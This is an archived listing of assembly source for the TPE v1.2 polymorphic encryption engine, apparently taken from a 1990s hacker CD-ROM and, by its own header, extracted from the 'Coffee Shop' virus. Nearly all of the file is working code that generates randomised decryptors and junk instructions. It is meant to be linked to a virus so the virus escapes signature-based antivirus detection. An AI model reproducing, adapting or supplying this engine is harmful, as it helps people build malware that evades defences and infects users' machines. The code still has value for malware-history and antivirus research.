home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / tdupdat2.err / MASUDKHA.ZIP / TPE12.ZIP / TPE-V12.ASM < prev    next >
Encoding:
Assembly Source File  |  1993-04-01  |  33.1 KB  |  991 lines

  1.                 .radix  16
  2.  
  3. ;-----------------------------------------------------------------------------
  4. ;
  5. ;                            TPE v1.2 Source Code
  6. ;                            --------------------
  7. ;
  8. ;  Extracted from Coffee Shop virus by: Lucifer Messiah -- ANARKICK SYSTEMS
  9. ;
  10. ;-----------------------------------------------------------------------------
  11.  
  12.                 .model  tiny
  13.                 .code
  14.  
  15. public          rnd_init
  16. public          rnd_get
  17. public          crypt
  18. public          tpe_bottom
  19. public          tpe_top
  20.  
  21. ;****************************************************************************
  22. ;*               Data area for engine
  23. ;****************************************************************************
  24.  
  25.                 org     0e0
  26. TPE12:
  27.  
  28. add_val         dw      0
  29. xor_val         dw      0
  30. xor_offset      dw      0
  31. where_len       dw      0
  32. where_len2      dw      0
  33. flags           db      0
  34.  
  35.  
  36. ;****************************************************************************
  37. ;*              Begin of virus, installation in memory
  38. ;****************************************************************************
  39.  
  40.                 org     0100
  41.  
  42. ;****************************************************************************
  43. ;*            Insert virus code here, or compile and link to virus
  44. ;****************************************************************************
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51. ;****************************************************************************
  52. ;*
  53. ;*              Encryption Engine
  54. ;*
  55. ;*
  56. ;*      Input:  ES      work segment
  57. ;*              DS:DX   code to encrypt
  58. ;*              BP      what will be start of decryptor
  59. ;*              SI      what will be distance between decryptor and code
  60. ;*              CX      length of code
  61. ;*              AX      flags: bit 0: DS will not be equal to CS
  62. ;*                             bit 1: insert random instructions
  63. ;*                             bit 2: put junk before decryptor
  64. ;*                             bit 3: preserve AX with decryptor
  65. ;*
  66. ;*      Output: ES:     work segment (preserved)
  67. ;*              DS:DX   decryptor + encrypted code
  68. ;*              BP      what will be start of decryptor (preserved)
  69. ;*              DI      length of decryptor / offset of encrypted code
  70. ;*              CX      length of decryptor + encrypted code
  71. ;*              AX      length of encrypted code
  72. ;*              (other registers may be trashed)
  73. ;*
  74. ;****************************************************************************
  75.  
  76. tpe_top         equ     $
  77.                 db      '[ MK / Trident ]'
  78.  
  79. crypt:
  80.                 xor     di,di                   ;di = start of decryptor
  81.                 push    dx                      ;save offset of code
  82.                 push    si                      ;save future offset of code
  83.  
  84.                 mov     byte ptr ds:[flags],al  ;save flags
  85.                 test    al,8                    ;push  AX?
  86.                 jz      no_push
  87.                 mov     al,50
  88.                 stosb
  89.  
  90. no_push:        call    rnd_get                 ;add a few bytes to cx
  91.                 and     ax,1F
  92.                 add     cx,ax
  93.                 push    cx                      ;save length of code
  94.  
  95.                 call    rnd_get                 ;get random flags
  96.                 xchg    ax,bx
  97.                                         ;BX flags:
  98.  
  99.                                         ;0,1    how to encrypt
  100.                                         ;2,3    which register for encryption
  101.                                         ;4      use byte or word for encrypt
  102.                                         ;5      MOV AL, MOV AH or MOV AX
  103.                                         ;6      MOV CL, MOV CH or MOV CX
  104.                                         ;7      AX or DX
  105.  
  106.                                         ;8      count up or down
  107.                                         ;9      ADD/SUB/INC/DEC or CMPSW/SCASW
  108.                                         ;A      ADD/SUB or INC/DEC
  109.                                         ;       CMPSW or SCASW
  110.                                         ;B      offset in XOR instruction?
  111.                                         ;C      LOOPNZ or LOOP
  112.                                         ;       SUB CX or DEC CX
  113.                                         ;D      carry with crypt ADD/SUB
  114.                                         ;E      carry with inc ADD/SUB
  115.                                         ;F      XOR instruction value or AX/DX
  116.  
  117. random:         call    rnd_get                 ;get random encryption value
  118.                 or      al,al
  119.                 jz      random                  ;again if 0
  120.                 mov     ds:[xor_val],ax
  121.  
  122.                 call    do_junk                 ;insert random instructions
  123.  
  124.                 pop     cx
  125.  
  126.                 mov     ax,0111                 ;make flags to remember which
  127.                 test    bl,20                   ;  MOV instructions are used
  128.                 jnz     z0
  129.                 xor     al,07
  130. z0:             test    bl,0C
  131.                 jnz     z1
  132.                 xor     al,70
  133. z1:             test    bl,40
  134.                 jnz     z2
  135.                 xor     ah,7
  136. z2:             test    bl,10
  137.                 jnz     z3
  138.                 and     al,73
  139. z3:             test    bh,80
  140.                 jnz     z4
  141.                 and     al,70
  142.  
  143. z4:             mov     dx,ax
  144. mov_lup:        call    rnd_get                 ;put MOV instructions in
  145.                 and     ax,000F                 ;  a random order
  146.                 cmp     al,0A
  147.                 ja      mov_lup
  148.  
  149.                 mov     si,ax
  150.                 push    cx                      ;test if MOV already done
  151.                 xchg    ax,cx
  152.                 mov     ax,1
  153.                 shl     ax,cl
  154.                 mov     cx,ax
  155.                 and     cx,dx
  156.                 pop     cx
  157.                 jz      mov_lup
  158.                 xor     dx,ax                   ;remember which MOV done
  159.  
  160.                 push    dx
  161.                 call    do_mov                  ;insert MOV instruction
  162.                 call    do_nop                  ;insert a random NOP
  163.                 pop     dx
  164.  
  165.                 or      dx,dx                   ;all MOVs done?
  166.                 jnz     mov_lup
  167.  
  168.                 push    di                      ;save start of decryptor loop
  169.  
  170.                 call    do_add_ax               ;add a value to AX in loop?
  171.                 call    do_nop
  172.                 test    bh,20                   ;carry with ADD/SUB ?
  173.                 jz      no_clc
  174.                 mov     al,0F8
  175.                 stosb
  176. no_clc:         mov     word ptr ds:[xor_offset],0
  177.                 call    do_xor                  ;place all loop instructions
  178.                 call    do_nop
  179.                 call    do_add
  180.  
  181.                 pop     dx                      ;get start of decryptor loop
  182.  
  183.                 call    do_loop
  184.  
  185.                 test    byte ptr ds:[flags],8   ;insert POP AX ?
  186.                 jz      no_pop
  187.                 mov     al,58
  188.                 stosb
  189.  
  190. no_pop:         xor     ax,ax                   ;calculate loop offset
  191.                 test    bh,1                    ;up or down?
  192.                 jz      v1
  193.                 mov     ax,cx
  194.                 dec     ax
  195.                 test    bl,10                   ;encrypt with byte or word?
  196.                 jz      v1
  197.                 and     al,0FE
  198. v1:             add     ax,di
  199.                 add     ax,bp
  200.                 pop     si
  201.                 add     ax,si
  202.                 sub     ax,word ptr ds:[xor_offset]
  203.                 mov     si,word ptr ds:[where_len]
  204.                 test    bl,0C                   ;are BL,BH used for encryption?
  205.                 jnz     v2
  206.                 mov     byte ptr es:[si],al
  207.                 mov     si,word ptr ds:[where_len2]
  208.                 mov     byte ptr es:[si],ah
  209.                 jmp     short v3
  210. v2:             mov     word ptr es:[si],ax
  211.  
  212. v3:             mov     dx,word ptr ds:[xor_val]   ;encryption value
  213.  
  214.                 pop     si                      ;ds:si = start of code
  215.  
  216.                 push    di                      ;save ptr to encrypted code
  217.                 push    cx                      ;save length of encrypted code
  218.  
  219.                 test    bl,10                   ;byte or word?
  220.                 jz      blup
  221.  
  222.                 inc     cx                      ;cx = # of crypts (words)
  223.                 shr     cx,1
  224.  
  225. lup:            lodsw                           ;encrypt code (words)
  226.                 call    do_encrypt
  227.                 stosw
  228.                 loop    lup
  229.                 jmp     short klaar
  230.  
  231.  
  232. blup:           lodsb                           ;encrypt code (bytes)
  233.                 xor     dh,dh
  234.                 call    do_encrypt
  235.                 stosb
  236.                 loop    blup
  237.  
  238. klaar:          mov     cx,di                   ;cx = length decryptpr + code
  239.                 pop     ax                      ;ax = length of decrypted code
  240.                 pop     di                      ;di = offset encrypted code
  241.                 xor     dx,dx                   ;ds:dx = decryptor + cr. code
  242.                 push    es
  243.                 pop     ds
  244.                 ret
  245.  
  246.  
  247. ;****************************************************************************
  248. ;*              encrypt the code
  249. ;****************************************************************************
  250.  
  251. do_encrypt:     add     dx,word ptr ds:[add_val]
  252.                 test    bl,2
  253.                 jnz     lup1
  254.                 xor     ax,dx
  255.                 ret
  256.  
  257. lup1:           test    bl,1
  258.                 jnz     lup2
  259.                 sub     ax,dx
  260.                 ret
  261.  
  262. lup2:           add     ax,dx
  263.                 ret
  264.  
  265.  
  266. ;****************************************************************************
  267. ;*              generate mov reg,xxxx
  268. ;****************************************************************************
  269.  
  270. do_mov:         mov     dx,si
  271.                 mov     al,byte ptr ds:[si+mov_byte]
  272.                 cmp     dl,4                    ;BX?
  273.                 jne     is_not_bx
  274.                 call    add_ind
  275. is_not_bx:      test    dl,0C                   ;A*?
  276.                 pushf
  277.                 jnz     is_not_a
  278.                 test    bl,80                   ;A* or D*?
  279.                 jz      is_not_a
  280.                 add     al,2
  281.  
  282. is_not_a:       call    alter                   ;insert the MOV
  283.  
  284.                 popf                            ;A*?
  285.                 jnz     is_not_a2
  286.                 mov     ax,word ptr ds:[xor_val]
  287.                 jmp     short sss
  288.  
  289. is_not_a2:      test    dl,8                    ;B*?
  290.                 jnz     is_not_b
  291.                 mov     si,offset where_len                
  292.                 test    dl,2
  293.                 jz      is_not_bh
  294.                 add     si,2
  295. is_not_bh:      mov     word ptr ds:[si],di
  296.                 jmp     short sss
  297.  
  298. is_not_b:       mov     ax,cx                   ;C*
  299.                 test    bl,10                   ;byte or word encryption?
  300.                 jz      sss
  301.                 inc     ax                      ;only half the number of bytes
  302.                 shr     ax,1
  303. sss:            test    dl,3                    ;byte or word register?
  304.                 jz      is_x
  305.                 test    dl,2                    ;*H?
  306.                 jz      is_not_h
  307.                 xchg    al,ah
  308. is_not_h:       stosb
  309.                 ret
  310.  
  311. is_x:           stosw
  312.                 ret
  313.  
  314.  
  315. ;****************************************************************************
  316. ;*              insert MOV or alternative for MOV
  317. ;****************************************************************************
  318.  
  319. alter:          push    bx
  320.                 push    cx
  321.                 push    ax
  322.                 call    rnd_get
  323.                 xchg    ax,bx
  324.                 pop     ax
  325.                 test    bl,3                    ;use alternative for MOV?
  326.                 jz      no_alter
  327.  
  328.                 push    ax
  329.                 and     bx,0F
  330.                 and     al,08
  331.                 shl     ax,1
  332.                 or      bx,ax
  333.                 pop     ax
  334.  
  335.                 and     al,7
  336.                 mov     cl,9
  337.                 xchg    ax,cx
  338.                 mul     cl
  339.  
  340.                 add     ax,30C0
  341.                 xchg    al,ah
  342.                 test    bl,4
  343.                 jz      no_sub
  344.                 mov     al,28
  345. no_sub:         call    maybe_2
  346.                 stosw
  347.  
  348.                 mov     al,80
  349.                 call    maybe_2
  350.                 stosb
  351.  
  352.                 mov     ax,offset add_mode
  353.                 xchg    ax,bx
  354.                 and     ax,3
  355.                 xlat
  356.  
  357.                 add     al,cl
  358. no_alter:       stosb
  359.                 pop     cx
  360.                 pop     bx
  361.                 ret
  362.  
  363.  
  364. ;****************************************************************************
  365. ;*              insert ADD AX,xxxx
  366. ;****************************************************************************
  367.  
  368. do_add_ax:      push    cx
  369.                 mov     si,offset add_val       ;save add-value here
  370.                 mov     word ptr ds:[si],0
  371.                 mov     ax,bx
  372.                 and     ax,8110
  373.                 xor     ax,8010
  374.                 jnz     no_add_ax               ;use ADD?
  375.  
  376.                 mov     ax,bx
  377.                 xor     ah,ah
  378.                 mov     cl,3
  379.                 div     cl
  380.                 or      ah,ah
  381.                 jnz     no_add_ax               ;use ADD?
  382.  
  383.                 test    bl,80
  384.                 jnz     do_81C2                 ;AX or DX?
  385.                 mov     al,5
  386.                 stosb
  387.                 jmp     short do_add0
  388. do_81C2:        mov     ax,0C281
  389.                 stosw
  390. do_add0:        call    rnd_get
  391.                 mov     word ptr ds:[si],ax
  392.                 stosw
  393. no_add_ax:      pop     cx
  394.                 ret
  395.  
  396.  
  397. ;****************************************************************************
  398. ;*              generate encryption command
  399. ;****************************************************************************
  400.  
  401. do_xor:         test    byte ptr ds:[flags],1
  402.                 jz      no_cs
  403.                 mov     al,2E                   ;insert CS: instruction
  404.                 stosb
  405.  
  406. no_cs:          test    bh,80                   ;type of XOR command
  407.                 jz      xor1
  408.  
  409.                 call    get_xor                 ;encrypt with register
  410.                 call    do_carry
  411.                 call    save_it
  412.                 xor     ax,ax
  413.                 test    bl,80
  414.                 jz      xxxx
  415.                 add     al,10
  416. xxxx:           call    add_dir
  417.                 test    bh,8
  418.                 jnz     yyyy
  419.                 stosb
  420.                 ret
  421.  
  422. yyyy:           or      al,80
  423.                 stosb             
  424.                 call    rnd_get
  425.                 stosw
  426.                 mov     word ptr ds:[xor_offset],ax
  427.                 ret
  428.  
  429. xor1:           mov     al,080                  ;encrypt with value
  430.                 call    save_it
  431.                 call    get_xor
  432.                 call    do_carry
  433.                 call    xxxx
  434.                 mov     ax,word ptr ds:[xor_val]
  435.                 test    bl,10
  436.                 jmp     byte_word
  437.  
  438.  
  439. ;****************************************************************************
  440. ;*              generate increase/decrease command
  441. ;****************************************************************************
  442.  
  443. do_add:         test    bl,8                    ;no CMPSW/SCASW if BX is used
  444.                 jz      da0
  445.                 test    bh,2                    ;ADD/SUB/INC/DEC or CMPSW/SCASW
  446.                 jnz     do_cmpsw
  447.  
  448. da0:            test    bh,4                    ;ADD/SUB or INC/DEC?
  449.                 jz      add1
  450.  
  451.                 mov     al,40                   ;INC/DEC
  452.                 test    bh,1                    ;up or down?
  453.                 jz      add0
  454.                 add     al,8
  455. add0:           call    add_ind
  456.                 stosb
  457.                 test    bl,10                   ;byte or word?
  458.                 jz      return
  459.                 stosb                           ;same instruction again
  460. return:         ret
  461.  
  462. add1:           test    bh,40                   ;ADD/SUB
  463.                 jz      no_clc2                 ;carry?
  464.                 mov     al,0F8                  ;insert CLC
  465.                 stosb
  466. no_clc2:        mov     al,083
  467.                 stosb
  468.                 mov     al,0C0
  469.                 test    bh,1                    ;up or down?
  470.                 jz      add2
  471.                 mov     al,0E8
  472. add2:           test    bh,40                   ;carry?
  473.                 jz      no_ac2
  474.                 and     al,0CF
  475.                 or      al,10
  476. no_ac2:         call    add_ind
  477.                 stosb
  478.                 mov     al,1                    ;value to add/sub
  479. save_it:        call    add_1
  480.                 stosb
  481.                 ret
  482.  
  483. do_cmpsw:       test    bh,1                    ;up or down?
  484.                 jz      no_std
  485.                 mov     al,0FDh                 ;insert STD
  486.                 stosb
  487. no_std:         test    bh,4                    ;CMPSW or SCASW?
  488.                 jz      normal_cmpsw
  489.                 test    bl,4                    ;no SCASW if SI is used
  490.                 jnz     do_scasw
  491.  
  492. normal_cmpsw:   mov     al,0A6                  ;CMPSB
  493.                 jmp     short save_it
  494. do_scasw:       mov     al,0AE                  ;SCASB
  495.                 jmp     short save_it
  496.  
  497.  
  498. ;****************************************************************************
  499. ;*              generate loop command
  500. ;****************************************************************************
  501.  
  502. do_loop:        test    bh,1                    ;no JNE if couting down
  503.                 jnz     loop_loop               ;  (prefetch bug!)
  504.                 call    rnd_get
  505.                 test    al,1                    ;LOOPNZ/LOOP or JNE?
  506.                 jnz     cx_loop
  507.  
  508. loop_loop:      mov     al,0E0
  509.                 test    bh,1A                   ;LOOPNZ or LOOP?
  510.                 jz      ll0                     ;  no LOOPNZ if xor-offset
  511.                 add     al,2                    ;  no LOOPNZ if CMPSW/SCASW
  512. ll0:            stosb
  513.                 mov     ax,dx
  514.                 sub     ax,di
  515.                 dec     ax
  516.                 stosb
  517.                 ret
  518.  
  519. cx_loop:        test    bh,10                   ;SUB CX or DEC CX?
  520.                 jnz     cxl_dec
  521.                 mov     ax,0E983
  522.                 stosw
  523.                 mov     al,1
  524.                 stosb
  525.                 jmp     short do_jne                
  526.  
  527. cxl_dec:        mov     al,49
  528.                 stosb
  529. do_jne:         mov     al,75
  530.                 jmp     short ll0
  531.  
  532.  
  533. ;****************************************************************************
  534. ;*              add value to AL depending on register type
  535. ;****************************************************************************
  536.  
  537. add_dir:        mov     si,offset dir_change
  538.                 jmp     short xx1
  539.  
  540. add_ind:        mov     si,offset ind_change
  541. xx1:            push    bx
  542.                 shr     bl,1
  543.                 shr     bl,1
  544.                 and     bx,3
  545.                 add     al,byte ptr ds:[bx+si]
  546.                 pop     bx
  547.                 ret
  548.  
  549.  
  550. ;****************************************************************************
  551. ;*              mov encryption command byte to AL
  552. ;****************************************************************************
  553.  
  554. get_xor:        push    bx
  555.                 mov     ax,offset how_mode
  556.                 xchg    ax,bx
  557.                 and     ax,3
  558.                 xlat
  559.                 pop     bx
  560.                 ret
  561.  
  562.  
  563. ;****************************************************************************
  564. ;*              change ADD into ADC
  565. ;****************************************************************************
  566.  
  567. do_carry:       test    bl,2                    ;ADD/SUB used for encryption?
  568.                 jz      no_ac
  569.                 test    bh,20                   ;carry with (encr.) ADD/SUB?
  570.                 jz      no_ac
  571.                 and     al,0CF
  572.                 or      al,10
  573. no_ac:          ret
  574.  
  575.  
  576. ;****************************************************************************
  577. ;*              change AL (byte/word)
  578. ;****************************************************************************
  579.  
  580. add_1:          test    bl,10
  581.                 jz      add_1_ret
  582.                 inc     al
  583. add_1_ret:      ret
  584.  
  585.  
  586. ;****************************************************************************
  587. ;*              change AL (byte/word)
  588. ;****************************************************************************
  589.  
  590. maybe_2:        call    add_1
  591.                 cmp     al,81                   ;can't touch this
  592.                 je      maybe_not
  593.                 push    ax
  594.                 call    rnd_get
  595.                 test    al,1
  596.                 pop     ax
  597.                 jz      maybe_not
  598.                 add     al,2
  599. maybe_not:      ret
  600.  
  601.  
  602. ;****************************************************************************
  603. ;*              get random nop (or not)
  604. ;****************************************************************************
  605.  
  606. do_nop:         test    byte ptr ds:[flags],2
  607.                 jz      no_nop
  608. yes_nop:        call    rnd_get
  609.                 test    al,3
  610.                 jz      nop8
  611.                 test    al,2
  612.                 jz      nop16
  613.                 test    al,1
  614.                 jz      nop16x
  615. no_nop:         ret
  616.  
  617.  
  618. ;****************************************************************************
  619. ;*              Insert random instructions
  620. ;****************************************************************************
  621.  
  622. do_junk:        test    byte ptr ds:[flags],4
  623.                 jz      no_junk
  624.                 call    rnd_get                 ;put a random number of
  625.                 and     ax,0F                   ;  dummy instructions before
  626.                 inc     ax                      ;  decryptor
  627.                 xchg    ax,cx
  628. junk_loop:      call    junk
  629.                 loop    junk_loop
  630. no_junk:        ret
  631.  
  632.  
  633. ;****************************************************************************
  634. ;*              get rough random nop (may affect register values)
  635. ;****************************************************************************
  636.  
  637. junk:           call    rnd_get
  638.                 and     ax,1E
  639.                 jmp     short aa0
  640. nop16x:         call    rnd_get
  641.                 and     ax,06
  642. aa0:            xchg    ax,si
  643.                 call    rnd_get
  644.                 jmp     word ptr ds:[si+junkcals]
  645.  
  646.  
  647. ;****************************************************************************
  648. ;*              NOP and junk addresses
  649. ;****************************************************************************
  650.  
  651. junkcals        dw      offset nop16x0
  652.                 dw      offset nop16x1
  653.                 dw      offset nop16x2
  654.                 dw      offset nop16x3
  655.                 dw      offset nop8
  656.                 dw      offset nop16
  657.                 dw      offset junk6
  658.                 dw      offset junk7
  659.                 dw      offset junk8
  660.                 dw      offset junk9
  661.                 dw      offset junkA
  662.                 dw      offset junkB
  663.                 dw      offset junkC
  664.                 dw      offset junkD
  665.                 dw      offset junkE
  666.                 dw      offset junkF
  667.  
  668.  
  669. ;****************************************************************************
  670. ;*              NOP and junk routines
  671. ;****************************************************************************
  672.  
  673. nop16x0:        and     ax,000F                 ;J* 0000 (conditional)
  674.                 or      al,70
  675.                 stosw
  676.                 ret
  677.  
  678.  
  679. nop16x1:        mov     al,0EBh                 ;JMP xxxx / junk
  680.                 and     ah,07
  681.                 inc     ah
  682.                 stosw
  683.                 xchg    al,ah                   ;get lenght of bullshit
  684.                 cbw
  685.                 jmp     fill_bullshit
  686.  
  687.  
  688. nop16x2:        call    junkD                   ;XCHG AX,reg / XCHG AX,reg
  689.                 stosb
  690.                 ret
  691.  
  692.  
  693. nop16x3:        call    junkF                   ;INC / DEC or DEC / INC
  694.                 xor     al,8
  695.                 stosb
  696.                 ret
  697.  
  698.  
  699. nop8:           push    bx                      ;8-bit NOP
  700.                 and     al,7
  701.                 mov     bx,offset nop_data8
  702.                 xlat
  703.                 stosb
  704.                 pop     bx
  705.                 ret
  706.  
  707.  
  708. nop16:          push    bx                      ;16-bit NOP
  709.                 and     ax,0303
  710.                 mov     bx,offset nop_data16
  711.                 xlat
  712.                 add     al,ah
  713.                 stosb
  714.                 call    rnd_get
  715.                 and     al,7
  716.                 mov     bl,9
  717.                 mul     bl
  718.                 add     al,0C0
  719.                 stosb
  720.                 pop     bx
  721.                 ret
  722.  
  723.  
  724. junk6:          push    cx                      ;CALL xxxx / junk / POP reg
  725.                 mov     al,0E8
  726.                 and     ah,0F
  727.                 inc     ah
  728.                 stosw
  729.                 xor     al,al
  730.                 stosb
  731.                 xchg    al,ah
  732.                 call    fill_bullshit
  733.                 call    do_nop
  734.                 call    rnd_get                 ;insert POP reg
  735.                 and     al,7
  736.                 call    no_sp
  737.                 mov     cx,ax
  738.                 or      al,58
  739.                 stosb
  740.  
  741.                 test    ch,3                    ;more?
  742.                 jnz     junk6_ret
  743.  
  744.                 call    do_nop
  745.                 mov     ax,0F087                ;insert XCHG SI,reg
  746.                 or      ah,cl
  747.                 test    ch,8
  748.                 jz      j6_1
  749.                 mov     al,8Bh
  750. j6_1:           stosw
  751.  
  752.                 call    do_nop
  753.                 push    bx
  754.                 call    rnd_get
  755.                 xchg    ax,bx
  756.                 and     bx,0F7FBh               ;insert XOR [SI],xxxx
  757.                 or      bl,8
  758.                 call    do_xor
  759.                 pop     bx
  760. junk6_ret:      pop     cx
  761.                 ret
  762.  
  763.  
  764. junk7:          and     al,0F                   ;MOV reg,xxxx
  765.                 or      al,0B0
  766.                 call    no_sp
  767.                 stosb
  768.                 test    al,8
  769.                 pushf
  770.                 call    rnd_get
  771.                 popf
  772.                 jmp     short byte_word
  773.  
  774.  
  775. junk8:          and     ah,39                   ;DO r/m,r(8/16)
  776.                 or      al,0C0
  777.                 call    no_sp
  778.                 xchg    al,ah
  779.                 stosw
  780.                 ret
  781.  
  782.  
  783. junk9:          and     al,3Bh                  ;DO r(8/16),r/m
  784.                 or      al,2
  785.                 and     ah,3F
  786.                 call    no_sp2
  787.                 call    no_bp
  788.                 stosw
  789.                 ret
  790.  
  791.  
  792. junkA:          and     ah,1                    ;DO rm,xxxx
  793.                 or      ax,80C0
  794.                 call    no_sp
  795.                 xchg    al,ah       
  796.                 stosw
  797.                 test    al,1
  798.                 pushf
  799.                 call    rnd_get
  800.                 popf
  801.                 jmp     short byte_word
  802.  
  803.  
  804. junkB:          call    nop8                    ;NOP / LOOP
  805.                 mov     ax,0FDE2
  806.                 stosw
  807.                 ret
  808.  
  809.  
  810. junkC:          and     al,09                   ;CMPS* or SCAS*
  811.                 test    ah,1
  812.                 jz      mov_test
  813.                 or      al,0A6
  814.                 stosb
  815.                 ret
  816. mov_test:       or      al,0A0                  ;MOV AX,[xxxx] or TEST AX,xxxx
  817.                 stosb
  818.                 cmp     al,0A8
  819.                 pushf
  820.                 call    rnd_get
  821.                 popf
  822.                 jmp     short byte_word
  823.  
  824.  
  825. junkD:          and     al,07                   ;XCHG AX,reg
  826.                 or      al,90
  827.                 call    no_sp
  828.                 stosb
  829.                 ret
  830.  
  831.  
  832. junkE:          and     ah,07                   ;PUSH reg / POP reg
  833.                 or      ah,50
  834.                 mov     al,ah
  835.                 or      ah,08
  836.                 stosw
  837.                 ret
  838.  
  839.  
  840. junkF:          and     al,0F                   ;INC / DEC
  841.                 or      al,40
  842.                 call    no_sp
  843.                 stosb
  844.                 ret
  845.  
  846.  
  847. ;****************************************************************************
  848. ;*              store a byte or a word
  849. ;****************************************************************************
  850.  
  851. byte_word:      jz      only_byte
  852.                 stosw
  853.                 ret
  854.  
  855. only_byte:      stosb
  856.                 ret
  857.  
  858.  
  859. ;****************************************************************************
  860. ;*              don't fuck with SP!
  861. ;****************************************************************************
  862.  
  863. no_sp:          push    ax
  864.                 and     al,7
  865.                 cmp     al,4
  866.                 pop     ax
  867.                 jnz     no_sp_ret
  868.                 and     al,0FBh
  869. no_sp_ret:      ret
  870.  
  871.  
  872. ;****************************************************************************
  873. ;*              don't fuck with SP!
  874. ;****************************************************************************
  875.  
  876. no_sp2:         push    ax
  877.                 and     ah,38
  878.                 cmp     ah,20
  879.                 pop     ax
  880.                 jnz     no_sp2_ret
  881.                 xor     ah,20
  882. no_sp2_ret:     ret
  883.  
  884.  
  885. ;****************************************************************************
  886. ;*              don't use [BP+..]
  887. ;****************************************************************************
  888.  
  889. no_bp:          test    ah,4
  890.                 jnz     no_bp2
  891.                 and     ah,0FDh
  892.                 ret
  893.  
  894. no_bp2:         push    ax
  895.                 and     ah,7
  896.                 cmp     ah,6
  897.                 pop     ax
  898.                 jnz     no_bp_ret
  899.                 or      ah,1
  900. no_bp_ret:      ret
  901.  
  902.  
  903. ;****************************************************************************
  904. ;*              write byte for JMP/CALL and fill with random bullshit
  905. ;****************************************************************************
  906.  
  907. fill_bullshit:  push    cx
  908.                 xchg    ax,cx
  909. bull_lup:       call    rnd_get
  910.                 stosb
  911.                 loop    bull_lup
  912.                 pop     cx
  913.                 ret
  914.  
  915.  
  916. ;****************************************************************************
  917. ;*              random number generator  (stolen from 'Bomber')
  918. ;****************************************************************************
  919.  
  920. rnd_init:       push    cx
  921.                 call    rnd_init0               ;init
  922.                 and     ax,000F
  923.                 inc     ax
  924.                 xchg    ax,cx
  925. random_lup:     call    rnd_get                 ;call random routine a few
  926.                 loop    random_lup              ;  times to 'warm up'
  927.                 pop     cx
  928.                 ret
  929.  
  930. rnd_init0:      push    dx                      ;initialize generator
  931.                 push    cx
  932.                 mov     ah,2C
  933.                 int     21
  934.                 in      al,40
  935.                 mov     ah,al
  936.                 in      al,40
  937.                 xor     ax,cx
  938.                 xor     dx,ax
  939.                 jmp     short move_rnd
  940.  
  941. rnd_get:        push    dx                      ;calculate a random number
  942.                 push    cx
  943.                 push    bx
  944.                 mov     ax,0                    ;will be: mov ax,xxxx
  945.                 mov     dx,0                    ;  and mov dx,xxxx
  946.                 mov     cx,7
  947. rnd_lup:        shl     ax,1
  948.                 rcl     dx,1
  949.                 mov     bl,al
  950.                 xor     bl,dh
  951.                 jns     rnd_l2
  952.                 inc     al
  953. rnd_l2:         loop    rnd_lup
  954.                 pop     bx
  955.  
  956. move_rnd:       mov     word ptr ds:[rnd_get+4],ax
  957.                 mov     word ptr ds:[rnd_get+7],dx
  958.                 mov     al,dl
  959.                 pop     cx
  960.                 pop     dx
  961.                 ret
  962.  
  963.  
  964. ;****************************************************************************
  965. ;*              tables for engine
  966. ;****************************************************************************
  967.  
  968.                 ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
  969. mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
  970.  
  971.                 ;       nop clc  stc  cmc  cli  cld incbp decbp
  972. nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh
  973.  
  974.                 ;      or and xchg mov
  975. nop_data16      db      8, 20, 84, 88
  976.  
  977.                 ;     bl/bh, bx, si  di
  978. dir_change      db      07, 07, 04, 05
  979. ind_change      db      03, 03, 06, 07
  980.  
  981.  
  982.                 ;       xor xor add sub
  983. how_mode        db      30, 30, 00, 28
  984.  
  985.                 ;       ?  add  xor  or
  986. add_mode        db      0, 0C8, 0F0, 0C0
  987.  
  988. tpe_bottom      equ     $
  989.  
  990.                 end     TPE12
  991.